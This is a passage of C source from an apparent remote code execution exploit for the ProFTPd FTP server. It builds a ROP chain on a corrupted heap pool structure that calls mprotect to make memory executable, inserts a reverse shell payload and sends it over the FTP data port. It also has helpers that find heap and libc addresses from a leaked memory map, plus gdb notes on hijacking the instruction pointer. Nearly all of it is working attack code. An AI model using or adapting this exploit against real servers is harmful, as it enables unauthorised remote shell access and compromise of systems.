cleanup.plain_clnup_cb = authnone_marshal_16; // resp_pool + 0x50, <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
cleanup.child_clnup_cb = (char *)0x4141414141414141; // resp_pool + 0x58
cleanup.next = (char *)0x9090909090909090; // resp_pool + 0x60: crap
/* build our final shellcode to be sent throught the FTP data port */
memcpy(&shellcode[0x00], &resp_pool.first, 8); // not used, this is our "token" in memory
memcpy(&shellcode[0x08], &resp_pool.last, 8); // address of &p->cleanups below
memcpy(&shellcode[0x10], &resp_pool.cleanups, 8); // must be a high value, so 0x4141414141414141
memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8); // (char *)&session.curr_cmd_rec->notes->chains - 0x28 + 0x18
memcpy(&shellcode[0x20], &resp_pool.sub_next, 8); // (char *)&gid_tab->chains - 0xc8
memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8); //
memcpy(&shellcode[0x30], &resp_pool.parent, 8); // this is our future stack that we'll mprotect
memcpy(&shellcode[0x38], &resp_pool.free_favail, 8); // not used, so 0x4141414141414141
memcpy(&shellcode[0x40], &resp_pool.tag, 8); //
memcpy(&shellcode[0x48], &cleanup.data, 8); // c->data = &resp_pool->tag (this will be our stack in $rdi)
memcpy(&shellcode[0x50], &cleanup.plain_clnup_cb, 8); // c->plain_cleanup_cb = <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
memcpy(&shellcode[0x58], &cleanup.child_clnup_cb, 8); // c->child_cleanup_cb = <__setreuid+64>: pop rdx; add rsp,0x38; ret
memcpy(&shellcode[0x60], &cleanup.next, 8); // pop rbx = any crap
memcpy(&shellcode[0x68], &MPROTECT_RDI, 8); // rdi = mprotect 1st parameter, starting of memory page containing our shellcode
memcpy(&shellcode[0x70], &RESP_POOL , 8); // // rdi = mprotect 3rd parameter, 7=rwx
shellcode[0x78] = 0x77; // pop rsi = mprotect 2nd parameter, len 0x2000, so 2 pages
shellcode[0x79] = 0x20;
memcpy(&shellcode[0x80], &do_dlopen_69, 8); // <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret
shellcode[0x88] = 0x0a; // pop rax = mprotect syscall number
memcpy(&shellcode[0x90], &iconv_197, 8); // <__gconv_close_transform+225>: pop rsi; ret
memcpy(&shellcode[0x98], &cleanup.next, 8); //
memcpy(&shellcode[0xa0], &cleanup.next, 8); //
memcpy(&shellcode[0xa8], &cleanup.next, 8); //
memcpy(&shellcode[0xb0], &cleanup.next, 8); //
memcpy(&shellcode[0xb8], &cleanup.next, 8); //
memcpy(&shellcode[0xc0], &cleanup.next, 8); //
memcpy(&shellcode[0xc8], &cleanup.next, 8); //
memcpy(&shellcode[0xd0], &cleanup.next, 8); //
memcpy(&shellcode[0xd8], &cleanup.next, 8); //
memset(&shellcode[0xe0], 0x11, rshell_size); // reverse shell
for(size_t i=0xe0+rshell_size+8; i<SEND_BUFF_SIZE; i++) {
shellcode[i] = 0x77; // fill the remaining buffer with garbage
}
shellcode[SEND_BUFF_SIZE-1] = '\0';
printf("[+] resp_pool = %p\n", RESP_POOL);
printf("[+] session.curr_cmd_rec->notes = %p\n", SESS_CURR_CMD_NOTES);
printf("[+] gid_tab = %p\n", GID_TAB);
printf("[+] resp_pool = {\n");
printf(" first = %p\n", resp_pool.first);
printf(" last = %p <resp_pool+0x10>\n", resp_pool.last);
printf(" cleanups = %p <resp_pool+0x20>\n", resp_pool.cleanups);
printf(" sub_pools = %p <&session.curr_cmd_rec->notes->chains - 0x28 + 0x18>\n", resp_pool.sub_pools);
printf(" sub_next = %p\n", resp_pool.sub_next);
printf(" sub_prev = %p <__gconv_close_transform+225>\n", resp_pool.sub_prev);
printf(" parent = %p\n", resp_pool.parent);
printf(" free_first_avail = %p\n", resp_pool.free_favail);
printf(" tag = %p\n", resp_pool.tag);
printf("}\n");
/*
* One important thing to remember is that we need to trap SIGALRM on our
* shell, because when exec'ing /bin/sh the ProFTPd (child) process will
* generate a SIGALRM signal that, if not trapped, will kill our shell.
* So as soon as received the remote callback connection you should issue:
*
* $ trap '' ALRM
*
* This prevents our shell to be killed after reaching "timeout-idle".
* If sh complains yet, enter "sh" twice to start other instances.
*/
printf("[+] sending payload: ");
unsigned int ec = 0;
unsigned int es = sizeof(ec);
do {
printf("+");
printf("shellcode == %s\n", shellcode); // LIXO
r = send(sock_data, shellcode, SEND_BUFF_SIZE, 0);
//fflush(NULL); // required just in local server and exploit
sync(); // same here, can delete if exploiting remote targets
sleep(1);
getsockopt(sock_data, SOL_SOCKET, SO_ERROR, &ec, &es);
} while (ec == 0);
#ifdef DEBUG4
asm("int3");
#endif
printf("\n[+] if ASLR is disabled on remote target and you're lucky, you might got a shell %s\n", "\xf0\x9f\x98\x88");
free(shellcode);
return 0;
}
/*
* small routine to calculate port number from network byte order to little
* endian format (later htons() will convert it back again no network order).
*/
unsigned int get_remote_port(char *pasv_answer) {
unsigned short int major = 0, minor = 0;
char *p;
p = rindex(pasv_answer, ')');
*p = '\0';
p = rindex(pasv_answer, ',');
*p = '\0';
minor = atoi(++p);
p = rindex(pasv_answer, ',');
major = atoi(++p);
return 256*major+minor; // return port number in little endian format
}
/*
* Auxiliary function to find the base address that we are interested, which
* are heap and libc base addresses (similar to grep|sed). We get the first
* address occurrence and stop processing the file. The caller should fopen
* and fclose FILE *fp.
*
* Explanation about parameters:
* what: the string we want to find base address;
* fp: FILE pointer to maps.txt that we just downloaded;
* index: 0=start address in /proc/self/maps file format; 1=ending address.
*
* Returns the address already converted to unsigned long.
*/
unsigned long get_mem_addr(const char *what, FILE *fp, int index) {
char *p;
char buf[400] = {0}; // increase if you think remote path is longer
unsigned long addr = 0L;
(void) fseek(fp, 0L, SEEK_SET);
while (p = fgets(buf, 200, fp)) {
if (strstr(buf, what)) {
p = strtok(buf, "-");
if (p) {
if (index == 1) {
char *t;
//asm("int3");
p = strtok(NULL, "-");
t = strchr(p, ' ');
if(t) *t='\0';
}
sprintf(buf, "%s", p);
addr = strtoul(buf, NULL, 16);
break;
}
}
}
return addr;
}
/*
* the below gives me overflow control on WHERE
* whith just 1 memory address guess
(gdb) p p->last = ((char *)session.curr_cmd_rec) + 0x88
(gdb) p p->sub_pools = ((char *)session.curr_cmd_rec) + 0x28
(gdb) c
resp_pool = 0x5555556e8720;
new_pool = 0x5555556bd2e0;
*/
/*
* coloque um tbreak destroy_pool depois de fazer isso pra ver se tem alguma
* possibilidae de usar essa primitiva proxima da mesma _SC_PAGE_SIZE que o
* session.curr_cmd_rec->notes na heap.
* also, pr_auth_endpwent() does the cleaning of auth_tab at first, so maybe
* it's on a more appropriate memory page - to check.
(gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28
(gdb) p *(unsigned long long *)((char *)session.curr_cmd_rec->notes + 0x128) = ((char *)session.curr_cmd_rec->notes) - 0x64
(gdb) p p->last = ((char *)session.curr_cmd_rec->notes)+0x118
(gdb) p *p->last
*/
/*
* need to finish what I was thinking below:
gef➤ set p->sub_pools=(char *)0x7fffffffd910
gef➤ p *resp_pool
$24 = {
first = 0x4141414141414141,
last = 0x0,
cleanups = 0x4242424242424242,
sub_pools = 0x5555556bb1c0,
sub_next = 0x4343434343434343,
sub_prev = 0x4343434343434343,
parent = 0x4343434343434343,
free_first_avail = 0x4343434343434343 <error: Cannot access memory at address 0x4343434343434343>,
tag = 0x4343434343434343 <error: Cannot access memory at address 0x4343434343434343>
}
then later it will gain RIP very near:
0x5555556bb1ba add BYTE PTR [rax], al
0x5555556bb1bc add BYTE PTR [rax], al
0x5555556bb1be add BYTE PTR [rax], al
→ 0x5555556bb1c0 movabs al, ds:0xa000005555556bb1
0x5555556bb1c9 mov cl, 0x6b
0x5555556bb1cb push rbp
0x5555556bb1cc push rbp
0x5555556bb1cd push rbp
0x5555556bb1ce add BYTE PTR [rax], al
───────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "proftpd", stopped 0x5555556bb1c0 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────
[#0] 0x5555556bb1c0 → movabs al, ds:0xa000005555556bb1
[#1] 0x5555556b9cd8 → add BYTE PTR [rax], al
[#2] 0x55555563c3b1 → sub al, BYTE PTR [rax]
──────────────────────────────────────────────────────────────────────────────
maybe I can use other FTP commands to change the memory content beforehand, e.g.
default_data_netio is next to &resp_pool, maybe it's possible to overflow it
and issue some FTP command to make use of this memory.
*/